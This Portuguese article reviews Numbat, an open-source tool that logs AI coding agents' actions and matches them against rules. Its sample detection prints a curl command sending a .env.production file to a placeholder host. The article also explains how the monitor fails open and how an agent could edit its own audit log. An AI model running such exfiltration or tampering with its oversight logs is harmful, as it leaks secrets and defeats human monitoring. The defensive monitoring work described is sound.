Numbat: veja o que seus agentes de IA fazem

O que é o Numbat

O Numbat permite saber o que um agente de IA fez numa máquina que controla. Lê os callbacks dos hooks e os ficheiros de sessão que os agentes de programação já produzem, normaliza-os num único formato de eventos e compara-os com regras acionadas por comportamentos como ler uma chave privada SSH ou encaminhar um download diretamente para uma shell. A Perplexity lançou-o como open source ao abrigo da licença Apache 2.0, com a primeira versão marcada em 29 July 2026.

Tudo o que se segue provém do repositório do projeto e da respetiva documentação, consultados em 2 August 2026. Quando a Perplexity faz uma afirmação, este texto indica-o. Este não é um tutorial de instalação, porque o repositório tem apenas alguns dias e os respetivos comandos vão mudar.

O problema: ninguém regista o que o agente fez

Um agente de programação no seu VPS executa comandos de shell, lê ficheiros, escreve ficheiros e abre ligações de rede, tudo com o utilizador que lhe atribuiu. O histórico da shell não regista nada disso, porque o agente não está a escrever na sua shell. sshd regista o seu início de sessão e nada do que o modelo decide fazer depois. /var/log/auth.log permanece silencioso, exceto quando algo tenta aceder a sudo. O agente mantém a sua própria transcrição, mas esse ficheiro fica no diretório de sessão do agente, o seu formato muda entre releases e o próprio processo do agente pode escrever nele.

Por isso, quando alguém pergunta se o agente leu .env.production na terça-feira passada, a resposta honesta na maioria dos servidores é que não é possível determinar. Essa lacuna é a razão da existência deste projeto.

O que a Perplexity afirma que o Numbat faz

O README começa por descrever a ferramenta como "visibilidade no endpoint da atividade de agentes de IA, com deteção local, bloqueio opcional antes da ação e reconstrução forense". Neste contexto, endpoint é a máquina onde o agente é executado, e não um dispositivo de rede que monitoriza a atividade a partir do exterior. Estas são capacidades distintas e têm pesos diferentes.

A deteção é executada no dispositivo. As regras são escritas em CEL (common expression language) e avaliadas localmente. A ferramenta também suporta regras de sequência com várias etapas e regras próprias em YAML. Nada precisa de sair da máquina para uma regra ser acionada.

O bloqueio é opcional e limitado. Funciona apenas através de hooks síncronos executados antes da ação, nos agentes que disponibilizam esse mecanismo. Fica desativado até o ativar.

A reconstrução ocorre depois dos eventos. numbat scan analisa artefactos de sessão que um agente já tenha escrito no disco, para que possa consultar atividade anterior à instalação da ferramenta. O projeto limita explicitamente esta afirmação: "A reconstrução de dados em repouso não é aquisição de disco nem de memória e não consegue recuperar atividade que um agente não tenha persistido."

A saída usa NDJSON versionado (JSON delimitado por novas linhas) e inclui eventos, descobertas, decisões de aplicação, indicadores e resumos de análises. A versão do esquema é 0.2.0 em v0.1.2. Os registos são enviados para stdout ou para um ficheiro local e, opcionalmente, por HTTP para um coletor que execute. A ferramenta é distribuída como um único binário estático em Go, compilado sem cgo, para macOS, Linux e Windows em amd64 e arm64. Num VPS Linux, isso significa que basta um único ficheiro, sem instalar primeiro um runtime.

Quais agentes o Numbat consegue realmente ver?

A matriz de cobertura em docs/agent-coverage.md é a lista oficial, e a cobertura é desigual. O projeto afirma isso claramente, sem ocultar a limitação. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI têm tanto análise de artefactos como captura em tempo real com um hook pré-ação. O OpenClaw recebe um plugin nativo a partir da versão 2026.7.1. Há muitas outras entradas marcadas como adiadas. Isso significa que existe um caminho para o hook em tempo real, mas não um analisador de artefactos. Muitas vezes, isso acontece porque o agente armazena o histórico numa base de dados SQLite com um log write-ahead que não é seguro ler enquanto o agente está em execução. OpenCode e Cline estavam nesse grupo quando a matriz foi consultada em 2 August 2026.

Verifique a linha correspondente ao seu agente antes de planear qualquer coisa com esta ferramenta, porque "suportado" significa algo diferente em quase todas as linhas.

Como é uma deteção

As regras têm ids que indicam a sua finalidade. secrets.read_private_key deteta uma chave SSH, credenciais da AWS, uma configuração do kube ou um início de sessão num registo de pacotes. exec.download_pipe_shell é acionada quando o resultado de curl ou wget é encaminhado para um interpretador. privilege.elevated_shell deteta um pedido de uma shell interativa de root através de sudo, doas, su ou pkexec. impact.cryptomining_launch corresponde a binários e nomes de imagens de mineradores conhecidos.

As regras de sequência associam eventos dentro da mesma sessão. chain.secret_read_then_egress requer a leitura de um ficheiro secreto seguida de um comando que envia dados para o exterior. O README apresenta a deteção abaixo, obtida a partir da repetição controlada de dois callbacks de pré-ação do Claude Code, e não de um incidente real. Foi reduzida aqui aos campos relevantes:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Repare em "confidence": "medium" dentro do registo e no que o projeto afirma sobre toda esta classe de resultados: "As deteções são correspondências de regras, não uma prova de comprometimento." Um script de deploy que lê uma chave e depois carrega um artefacto de build corresponderá à mesma regra de sequência. A correspondência está correta, mas o alarme está errado. Esse é o estado normal de todas as ferramentas de deteção que alguma vez executou.

O bloqueio está desativado por predefinição e o sistema falha em modo permissivo

Todas as regras que o Numbat lança funcionam apenas em modo de monitorização. Transformar uma regra em bloqueio exige uma alteração deliberada: copie o YAML completo da regra para o seu próprio diretório, mantenha o mesmo id, adicione enforce: true, incremente a versão e, em seguida, valide e instale essa política.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Agora, a parte que determina até que ponto deve confiar nele. O deny do Numbat é uma resposta devolvida ao agente, e é o agente que efetivamente recusa a chamada da ferramenta. O guia de aplicação é direto quanto ao que acontece quando o próprio Numbat tem um problema: "Payloads malformados, erros de avaliação relevantes, panics e falhas de saída suprimem o deny do numbat." A entrada do hook está limitada a 4 MiB, e uma entrada demasiado grande segue o mesmo caminho.

O guia também é direto quanto ao limite de um deny que seja efetivamente aplicado: "Falhar em modo permissivo significa que o numbat não envia a sua resposta deny. Isto não garante que a ferramenta seja executada: o host ainda pode pedir confirmação, recusar, exceder o tempo limite ou aplicar outro hook ou política."

Por isso, a aplicação de políticas aqui funciona como uma proteção adicional, não como uma fronteira de segurança. Se o processo falhar, a ação não é bloqueada pelo Numbat, porque um monitor que bloqueasse o seu agente sempre que tivesse um problema seria desinstalado numa semana. O compromisso é razoável. Mas não crie um modelo de segurança que presuma que o deny chega sempre.

Onde o Numbat se enquadra junto do que já utiliza

O Numbat é executado no endpoint, dentro da própria árvore de processos do agente, e escreve em ~/.numbat/records.ndjson por predefinição. Um agente executado com o seu utilizador pode ler esse ficheiro. Também o pode editar. A pista de auditoria só vale tanto quanto o isolamento que a protege. Por isso, todos os controlos que já utiliza devem ficar à frente deste, e não atrás dele.

Dar ao agente de programação uma VM descartável limita aquilo a que uma execução maliciosa pode chegar. Utilizar um utilizador com privilégios mínimos no VPS impede o agente de aceder a ficheiros que não tem motivos para abrir. Manter as credenciais fora do contexto do agente é o que torna uma correspondência secrets.read_private_key suficientemente rara para justificar a consulta quando ocorre. E a sandbox que configurou para o Claude Code num VPS continua a ser o mecanismo que garante o isolamento. O isolamento limita aquilo em que uma execução maliciosa pode tocar, enquanto registar por que motivo o código tem aquela estrutura reduz a frequência com que o agente faz algo inesperado ao ponto de o levar a consultar o log.

O Numbat acrescenta o registo. Por isso, envie o registo para um local a que o agente não consiga aceder. numbat ship e o sink HTTP existem para isso. Uma cópia do fluxo num segundo computador é o que distingue um ficheiro de log de uma evidência. O modelo de eventos também transporta campos MCP (model context protocol). Assim, as chamadas de ferramentas que saem através de um servidor MCP alojado por si num VPS ficam no mesmo fluxo que os comandos shell locais. Isto é importante porque esse caminho fica invisível para qualquer mecanismo que monitorize apenas bash. O mesmo ponto cego abrange uma instância SearXNG configurada como backend de pesquisa do agente, onde o risco surge como texto não confiável de páginas enviado para o contexto do modelo, e não como um comando que alguma regra possa corresponder.

Teste primeiro em modo somente leitura

Instale uma versão fixada. É necessário ter Go 1.26.5 ou posterior para go install. A página de releases disponibiliza binários pré-compilados com somas de verificação SHA-256, caso prefira não compilar a partir do código-fonte.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents deteta os agentes instalados no sistema. numbat scan analisa os artefactos de sessão que já estão no disco e apresenta os registos. O README indica que estes comandos «não instalam hooks nem alteram a configuração dos agentes» e que o numbat «nunca executa agentes nem comandos encontrados nos artefactos, e só faz pedidos de saída para sinks HTTP configurados». A análise é feita em modo somente leitura, com ocultação de segredos. A apresentação normal dos registos nunca inclui uma transcrição bruta completa.

A captura em tempo real é o passo seguinte e altera a configuração dos agentes:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all escreve eventos, descobertas, indicadores e decisões de aplicação de políticas relevantes em ~/.numbat/records.ndjson. O projeto faz diretamente dois alertas. Pode ser necessário confiar nos hooks dentro do agente antes de estes serem executados. Essa confiança também tem de ser revista depois de alterar flags como --enforce. Além disso, hook status «verifica a configuração, não a execução nem a entrega». Portanto, uma linha de estado saudável não prova que os registos estejam a chegar a algum destino.

Por que um repositório tão recente não é uma dependência

As versões públicas são a v0.1.1, de 29 July 2026, e a v0.1.2, de 1 August 2026. O repositório tinha 597 estrelas quando este texto foi escrito, em 2 August 2026. Números que crescem tão depressa refletem o público da Perplexity, não a robustez do código. Uma estrela significa que alguém guardou a página para a consultar mais tarde.

O número da versão indica claramente o nível de maturidade do projeto. As notas da v0.1.2 tratam principalmente de correções na ocultação de credenciais, além de trabalho de normalização de conjuntos de casos e telemetria. Bugs de ocultação são o tipo esperado de defeito inicial numa ferramenta cuja função é ler com segurança as transcrições de outros programas. Haverá mais bugs desse tipo, porque as entradas vêm de uma dúzia de agentes que alteram os seus formatos segundo calendários próprios.

Disto resultam duas regras práticas. Fixe a tag, nunca @latest, em tudo o que conservar. E trate a ferramenta como um instrumento em avaliação, não como um componente de que dependa, pelo menos até o esquema dos registos deixar de mudar.

FAQ

O Numbat bloqueia comandos perigosos de agentes de IA?

Apenas se optar por isso e apenas numa base de melhores esforços. Todas as regras que o Numbat disponibiliza funcionam apenas em modo de monitorização. Para bloquear, copie o YAML da regra para o seu próprio diretório, mantenha o respetivo id, adicione enforce: true, incremente a versão e instale o hook com --enforce. Mesmo assim, a rejeição é uma resposta enviada ao agente, e é o agente que recusa a chamada. O projeto documenta um comportamento fail-open: payloads malformados, erros de avaliação, panics e falhas de saída suprimem a rejeição. Use-o como uma salvaguarda, não como a sua única barreira.

Que agentes de IA são suportados pelo Numbat?

A cobertura varia consoante o agente e está listada em docs/agent-coverage.md no repositório. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI tinham tanto análise de artefactos como captura em tempo real quando essa página foi consultada em 2 August 2026, e o OpenClaw tem um plugin nativo a partir da versão 2026.7.1. Muitos outros agentes estão listados com um caminho de hook em tempo real, mas ainda sem um parser de artefactos, normalmente porque o histórico da sessão fica numa base de dados SQLite que não é segura para leitura enquanto o agente está em execução. Consulte a linha correspondente ao seu agente, porque a palavra "suportado" abrange vários níveis diferentes nessa lista.

O agente pode adulterar os registos do Numbat?

Sim, se for executado pelo mesmo utilizador. Por predefinição, os registos ficam em ~/.numbat/records.ndjson na mesma máquina que o agente, pelo que qualquer processo com acesso de escrita a esse caminho pode alterá-los ou eliminá-los. Envie o fluxo para um coletor que o agente não consiga alcançar, usando numbat ship ou o sink HTTP, e mantenha o ficheiro local como cópia de conveniência. É também por isso que a ferramenta complementa o isolamento, em vez de o substituir. Um agente confinado numa VM descartável e executado por um utilizador com privilégios mínimos tem muito menos alcance sobre o seu próprio registo de auditoria.

O Numbat está pronto para um servidor de produção?

Não como um controlo do qual dependa. A primeira versão pública foi a v0.1.1 em 29 July 2026, seguida da v0.1.2 em 1 August 2026, pelo que os flags e o esquema dos registos ainda estão a mudar. Executar numbat agents e numbat scan num servidor é uma operação só de leitura e de baixo risco, e permite saber o que os seus agentes têm deixado no disco. Instalar hooks de imposição num servidor importante é uma decisão diferente. Essa decisão requer uma tag fixada e um plano para o caso de o hook apresentar falhas.